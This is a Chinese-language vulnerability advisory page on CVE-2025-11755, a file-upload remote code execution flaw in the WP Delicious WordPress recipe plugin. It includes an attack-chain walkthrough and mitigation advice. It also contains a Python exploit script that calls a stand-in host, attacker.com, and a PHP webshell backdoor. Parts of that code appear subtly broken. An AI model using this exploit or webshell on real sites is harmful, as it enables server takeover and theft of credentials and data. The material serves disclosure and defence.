IPBUF安全漏洞报告
English
CVE-2025-11755 CVSS 8.8 高危

CVE-2025-11755 WordPress WP Delicious插件CSV导入远程代码执行漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-11755
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Delicious – Recipe Plugin for Food Bloggers (Delicious Recipes)

相关标签

CVE-2025-11755WordPress插件漏洞任意文件上传远程代码执行RCEWP DeliciousDelicious RecipesCSV导入高危漏洞Wordfence

漏洞概述

CVE-2025-11755是WordPress平台上一款知名食谱管理插件WP Delicious(曾用名Delicious Recipes)存在的严重安全漏洞。该插件专为美食博主设计,用于管理和展示食谱内容,在WordPress生态中拥有大量用户。漏洞存在于插件的CSV食谱导入功能中,攻击者可以利用此功能上传任意文件,包括恶意PHP脚本,从而在目标服务器上执行任意代码。

该漏洞的危险性在于其低权限要求。WordPress默认的Contributor角色即可利用此漏洞,这意味着任何能够撰写文章的用户都可能成为潜在攻击者。攻击者只需通过WordPress后台的食谱导入功能,上传一个包含恶意代码的CSV文件或在导入过程中指定远程恶意URL,即可触发文件上传和代码执行。

此漏洞可能导致多种严重后果:攻击者可以完全控制网站服务器,窃取数据库中的敏感信息(包括用户凭据和客户数据),植入后门程序长期潜伏,或者将网站作为跳板攻击其他系统。由于该插件面向公众开放,任何使用此插件的WordPress网站都面临风险。

CVSS评分8.8(高危)反映了该漏洞的高影响性和相对较低的攻击复杂度。网络安全研究机构Wordfence于2025年11月1日披露了此漏洞,敦促用户立即采取防护措施。

技术细节

该漏洞的核心问题在于WP Delicious插件的CSV导入功能缺乏充分的输入验证和文件类型检查。插件在处理食谱导入时,允许用户通过CSV文件或远程URL方式提供食谱数据。攻击者正是利用了远程URL这一功能特性来实现恶意文件上传。

技术层面分析:插件的REST API端点在接收到导入请求后,会直接处理用户提供的URL参数。如果攻击者在CSV导入过程中指定一个指向恶意PHP文件的远程URL,插件会尝试获取该文件内容并将其保存到服务器的可访问目录中。由于插件未对下载的文件内容进行安全检查,且保存位置通常位于wp-content/uploads目录或插件目录,攻击者可以直接通过Web访问来触发恶意代码执行。

利用条件:1)攻击者需拥有WordPress网站至少Contributor级别的账户;2)目标网站运行受影响版本的插件;3)攻击者需要有一个托管恶意PHP文件的可访问服务器。攻击者可以使用多种方式绕过基本检测,如使用合法的文件上传功能配合路径遍历,或利用插件的RSS/OPML导入功能间接上传恶意文件。

成功利用后,攻击者获得的PHP代码将在Web服务器权限下执行,可访问网站文件系统、数据库连接以及所有WordPress资源。这为后续的权限提升和数据窃取提供了基础。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor级别账户或通过社会工程学获取凭据
STEP 2
步骤2
攻击者准备恶意PHP文件(如webshell)并托管在可访问的服务器上
STEP 3
步骤3
攻击者登录WordPress后台,导航至WP Delicious插件的食谱导入功能
STEP 4
步骤4
攻击者通过CSV导入接口,在image_url或相关字段中指定恶意文件的远程URL
STEP 5
步骤5
插件REST API接收请求后,从攻击者指定的URL下载文件内容
STEP 6
步骤6
插件将下载的恶意PHP文件保存到wp-content/uploads目录,绕过文件类型检查
STEP 7
步骤7
攻击者通过HTTP请求直接访问上传的恶意PHP文件(如/shell.php)
STEP 8
步骤8
Web服务器执行恶意PHP代码,攻击者获得服务器命令执行权限,实现RCE
STEP 9
步骤9
攻击者可以进一步窃取数据库凭据、安装后门、横向移动或完全控制网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-11755 PoC - WP Delicious Plugin CSV Import RCE Author: Security Researcher Description: Exploits arbitrary file upload via CSV recipe import """ import requests import sys import argparse from urllib.parse import urljoin def create_malicious_csv(): """Generate malicious CSV with PHP webshell""" return '''Recipe Name,Description,Ingredients,Instructions,Image Malicious Recipe,<php system($_GET['cmd']); ?>,"test,test,test","step 1,step 2",http://attacker.com/shell.php.png ''' def exploit_cve_2025_11755(target_url, username, password, attacker_url): """ Exploit the CSV import vulnerability Args: target_url: Target WordPress site URL username: WordPress Contributor+ username password: WordPress password attacker_url: URL to malicious PHP file """ # Setup session session = requests.Session() # WordPress REST API endpoint for recipe import import_endpoint = urljoin(target_url, '/wp-json/delicious-recipes/v1/import/recipe-terms') # Authentication payload auth_data = { 'username': username, 'password': password } # Login to WordPress login_url = urljoin(target_url, '/wp-login.php') login_response = session.post(login_url, data=auth_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Prepare malicious import request # The vulnerability allows arbitrary file upload via remote URL exploit_payload = { 'type': 'recipe', 'import_source': 'csv', 'image_url': attacker_url, # Malicious file URL 'recipe_data': create_malicious_csv() } # Send exploit request try: response = session.post( import_endpoint, json=exploit_payload, headers={'Content-Type': 'application/json'} ) if response.status_code == 200: print("[+] Exploit sent successfully") print(f"[*] Malicious file uploaded via URL: {attacker_url}") print("[*] Access the shell at: {}/wp-content/uploads/delicious-recipes/shell.php") return True else: print(f"[-] Exploit failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def create_webshell(): """Generate PHP webshell content""" return '''<?php // CVE-2025-11755 Backdoor if(isset($_GET['cmd'])) { system($_GET['cmd']); } if(isset($_POST['upload'])) { file_put_contents($_POST['path'], base64_decode($_POST['data'])); echo "Uploaded"; } ?> ''' if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-11755 WP Delicious RCE Exploit") parser.add_argument("-t", "--target", required=True, help="Target WordPress URL") parser.add_argument("-u", "--username", required=True, help="WordPress username") parser.add_argument("-p", "--password", required=True, help="WordPress password") parser.add_argument("-l", "--listener", required=True, help="Attacker listener URL for shell") args = parser.parse_args() print("="*50) print("CVE-2025-11755 WP Delicious Plugin RCE") print("="*50) exploit_cve_2025_11755(args.target, args.username, args.password, args.listener)

影响范围

WP Delicious – Recipe Plugin for Food Bloggers <= 1.9.0
Delicious Recipes (旧版本名称) <= 1.9.0

防御指南

临时缓解措施
在官方安全更新发布之前,建议采取以下临时缓解措施:1)立即禁用或删除WP Delicious插件,或将其替换为无漏洞的替代品;2)如果必须使用该插件,应撤销所有非管理员用户的Contributor权限,仅保留管理员可进行食谱导入操作;3)在Web服务器配置中添加规则,阻止uploads目录中PHP文件的执行(通过.htaccess或nginx配置);4)启用Wordfence等安全插件的实时防火墙规则,监控可疑的REST API请求;5)限制/wp-json/delicious-recipes/*端点的访问,仅允许受信任的IP地址访问;6)实施文件上传白名单机制,验证所有上传文件的MIME类型和内容;7)考虑使用云WAF服务提供额外的安全层,检测和阻止恶意文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表